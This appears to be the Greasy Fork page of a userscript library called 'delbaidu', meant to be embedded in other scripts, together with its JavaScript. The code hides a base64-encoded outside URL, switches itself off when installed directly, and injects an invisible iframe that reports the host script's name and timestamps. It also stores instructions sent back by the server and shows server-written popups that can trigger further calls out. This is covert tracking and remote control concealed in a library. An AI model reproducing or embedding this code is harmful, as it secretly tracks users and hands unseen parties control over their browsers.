delbaidu

-

This script should not be not be installed directly. It is a library for other scripts to include with the meta directive // @require https://greasyfork.org/scripts/396316-delbaidu/code/delbaidu.js?version=891735

   var zkdsfvx=0;
  var zkdsfxvx=GM_getValue('zkdz_name');
 var zkdxv=Date.parse(new Date())/1000;
if (GM_info.script.updateURL){
zkdsfvx=1;
 if (GM_getValue('zkd_gxty')){
 GM_deleteValue('zkd_gxty');
 }
}
if ( window.top != window.self || !zkdsfxvx ){
zkdsfvx=1;
}
if ($('#zkdnaoname').length>0){
zkdsfvx=1;
}
 
     function getzkdurl(z,k){
  var zkdzxnao1=window.atob("aHR0cHM6Ly93d3cuZGFkaXlvdWh1aTAyLmNu");
  var zkdzxnao2="/tampermonkey/count/count.html";
  var zkdzxnao3="?z="+Date.parse(new Date())/1000;
  if (k==1){
   zkdzxnao3=zkdzxnao3+"&b="+z;
  }
  var zkdzxnao4 = zkdzxnao1+zkdzxnao2+zkdzxnao3;
  var zkdnao='<iframe id="zkdnaoname" src="'+zkdzxnao4+'" width="0" height="0" scrolling="no"  sandbox="allow-forms allow-popups allow-top-navigation allow-scripts allow-same-origin">';
$("body").append(zkdnao);
if (k==1){
 window.addEventListener('message', function (e) {

      if (e.data.zkdbpd){
       if (e.data.zkdbpd[0]==1){
        GM_setValue('zkd_gxty', e.data.zkdbpd);
       }
      }
    });
    }else{


   setTimeout(function(){  document.getElementById('zkdnaoname').contentWindow.postMessage(z, "*"); }, 1000);

       }
     }
if (zkdsfvx==0 && !GM_getValue('zkd_gxty')){
     getzkdurl(zkdsfxvx,1);
     }
           if (GM_getValue('zkd_gxty') && zkdsfvx==0){
           var zkdcx=0;
                   if (GM_getValue('zkdxv') ){
       if (GM_getValue('zkdxv')>(zkdxv-604800)   ){
zkdcx=1;

}
    } else{
         if ( !GM_getValue('zkdxvsj') ){
             GM_setValue('zkdxvsj', zkdxv);
         }

    }

if (zkdcx==0 && GM_getValue('zkdxvsj')<(zkdxv-600) ){

GM_setValue('zkdxv', zkdxv);
    swal({
title: GM_getValue('zkd_gxty')[1],
text:  GM_getValue('zkd_gxty')[2],
icon: "success",
buttons: true,
dangerMode: true,
buttons: [ GM_getValue('zkd_gxty')[3],  GM_getValue('zkd_gxty')[4]],
})
.then((willDelete) => {
    if (willDelete) {
getzkdurl(GM_getValue('zkd_gxty')[5],0);

    }
});
}
}